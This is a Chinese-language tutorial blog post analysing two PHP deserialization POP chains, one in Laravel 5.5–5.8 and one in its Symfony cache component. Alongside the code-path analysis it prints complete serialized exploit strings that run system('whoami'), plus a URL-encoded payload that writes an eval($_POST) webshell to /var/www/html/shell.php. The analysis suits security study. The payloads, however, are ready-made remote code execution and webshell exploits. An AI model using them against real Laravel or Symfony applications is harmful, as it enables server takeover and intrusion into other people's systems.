0x00 前言
这是学习Laravel框架中存在的反序列化漏洞的第2篇文章。
0x01 POP链 4
这条链适用的Laravel最低版本是5.5.39
,但是在5.8.*
上依然使用。
入口类:Illuminate\Broadcasting\PendingBroadcast
出口类:Illuminate\Validation\Validator
这一条POP链的入口方法还是Illuminate\Broadcasting\PendingBroadcast
类的__destruct()
方法。
1 |
|
上一篇文章中的POP链 1利用的是魔术方法__call
,当在对象中调用一个不可访问或者不存在的方法时,该魔术方法就会被调用。
在类Illuminate\Validation\Validator
中存在__call
函数:
1 |
|
已经知道的是,__call()
函数中第一个参数$method
表示的是触发该__call()
魔术方法的函数名,那么这个值就是dispatch
,我们令$this->events
为类Illuminate\Validation\Validator
的一个实例化对象。而且这里需要注意的一个点是,dispatch
函数的名的长度是7个字符,但是这里用substr($method,8);
从第8个位置开始从该字符串中取出字符串,所以取出的值就是一个长度为0的空字符串,也就说$rule
其实是''
。$paramter
是一个数组,是传入该函数的参数,它对应的就是$this->event
,也就是传入dispatch
的参数。
跟进$this->callExtension()
,看到了目标call_user_func_array
:
1 | protected function callExtension($rule, $parameters) |
这里$callback
来自$this->extension[$rule]
,而$this->extension
是用户可控的一个数组。$rule
来自__call
魔术方法的参数$method
,经过Str::snake(substr($method, 8));
处理后得到。所以要执行系统命令,可以令$callback
为system
,然后$parameter
为whoami
,而$parameter
其实就是$this->event
。
跟进Str::snake
方法:
1 | public static function snake($value, $delimiter = '_') |
这个函数有点复杂,乍一看,我确实是分析不来。但是根据前面的分析,$rule
对应的应该是''
,那么$this->extensions
就应该是array('' => 'system');
,得出exp:
1 |
|
给保护字段添加%00
得到:
1 | O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:8:"%00*%00event";s:6:"whoami";s:9:"%00*%00events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}} |
调试跟踪下,确实证实了猜想,$rule
是''
。
写shell
这里写shell和第一篇文章中的POP链 1一样,需要借助类PhpOption\LazyOption
写入shell。
poc:
1 |
|
exp:
1 | O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00event%22%3Bi%3A1%3Bs%3A9%3A%22%00%2A%00events%22%3BO%3A31%3A%22Illuminate%5CValidation%5CValidator%22%3A1%3A%7Bs%3A10%3A%22extensions%22%3Ba%3A1%3A%7Bs%3A0%3A%22%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A20%3A%22PhpOption%5CLazyOption%22%3A3%3A%7Bs%3A30%3A%22%00PhpOption%5CLazyOption%00callback%22%3Bs%3A17%3A%22file_put_contents%22%3Bs%3A31%3A%22%00PhpOption%5CLazyOption%00arguments%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A23%3A%22%2Fvar%2Fwww%2Fhtml%2Fshell.php%22%3Bi%3A1%3Bs%3A22%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%22%3B%7Ds%3A28%3A%22%00PhpOption%5CLazyOption%00option%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22filter%22%3B%7D%7D%7D%7D |
0x02 POP链 5
入口类:Symfony\Component\Cache\Adapter\TagAwareAdapter
出口类:Symfony\Component\Cache\Adapter\ProxyAdapter
这条POP链是由Laravel的Symfony组件的TagAwareAdapter
类触发的。我们初始安装的Laravel 5.8.*框架并不包含该组件。修改composer.json
文件,在require
下添加:
1 | "symfony/symfony": "4.*" |
然后执行更新:
1 | composer update |
POP链的入口在TagAwareAdapter
类的__destruct
方法,该方法会调用commit()
:
commit()
方法会调用invalidateTags()
,继续跟进:
在第124行,用一个foreach
循环对$items
进行遍历,而$items
来自$this->deferred
,所以得到第一个信息:$this->deferred
是一个数组,而$this->deferred
是用户可控的。然后进入if语句,调用$this->pool
的saveDeferred()
方法,可以得到,$this->pool
是一个对象,而且$this->pool
也是用户可控的。当前类中并不存在saveDeferred()
方法,所以这里肯定是通过$this->pool
调用别的对象里的saveDeferred()
方法,注意传入的值为$item
。
全局搜索下,在Symfony\Component\Cache\Adapter\ProxyAdapter
类中发现了可用的方法:
在该类的saveDeferred()
方法中,会将之前传入的$item
参数继续传入doSave()
方法中,跟入doSave
:
在doSave()
中发现了动态调用(第245行)。那先来分析一下是否可以利用,首先$this->setInnerItem
是ProxyAdapter
类的private属性成员变量,是用户可控的;而且经过前面的分析,知道$item
是来自ProxyAdapter
类的$this->deferred
属性,也是可控的;还有一个就是$innerItem
,从第234行可以看到,当满足if条件语句if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"])
时,$innerItem
就可以由$item["\0*\0innerItem"]
得到。
这里数组key值中的\0*\0
是对象强转数组得到的,表示protected成员变量,下面就是一个例子:
1 |
|
ps:注意区分(array)$book
和array($book)
。
1 | array (size=2) |
接着回到doSave()
方法。上面的分析其实还可以得到一个很重要的信息,那就是$item
其实是一个对象。在226行,判断$item
是不是CacheItem
的一个实例化对象:
1 | if (!$item instanceof CacheItem) { |
如果不满足,直接返回false
,所以必须满足该条件。
这里需要Symfony\Component\Cache\CacheItem
类的三个属性,分别为expiry
,poolHash
和innerItem
,defaultLifetime
不需要,只要null === $item["\0*\0expiry"]
不满足即可。我们的目标是进入第234行的if,因为$innerItem
是后面需要执行的命令的参数,所以必须对它进行一个赋值,对其进行赋值也简单,满足$item["\0*\0poolHash"] === $this->poolHash
和$item["\0*\0innerItem"]
不为空,前者因为Symfony\Component\Cache\AdapterProxyAdapter
类的poolHash
方法是可控的,所以可以实现。
现在就还有最后一个问题,因为这里的动态函数调用($this->setInnerItem)($innerItem, $item);
是支持双参数的,所以我们可以选择一些双参的参数。可以用system
函数来执行一些命令,这个函数也是支持双参的,第2个参数是可选的,用来保存返回的执行状态:
poc:
1 |
|
exp:
1 | O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00expiry%22%3Bi%3A1%3Bs%3A11%3A%22%00%2A%00poolHash%22%3Bi%3A1%3Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A2%3A%7Bs%3A54%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00poolHash%22%3Bi%3A1%3Bs%3A58%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3B%7D%7D |
执行效果:
调用链: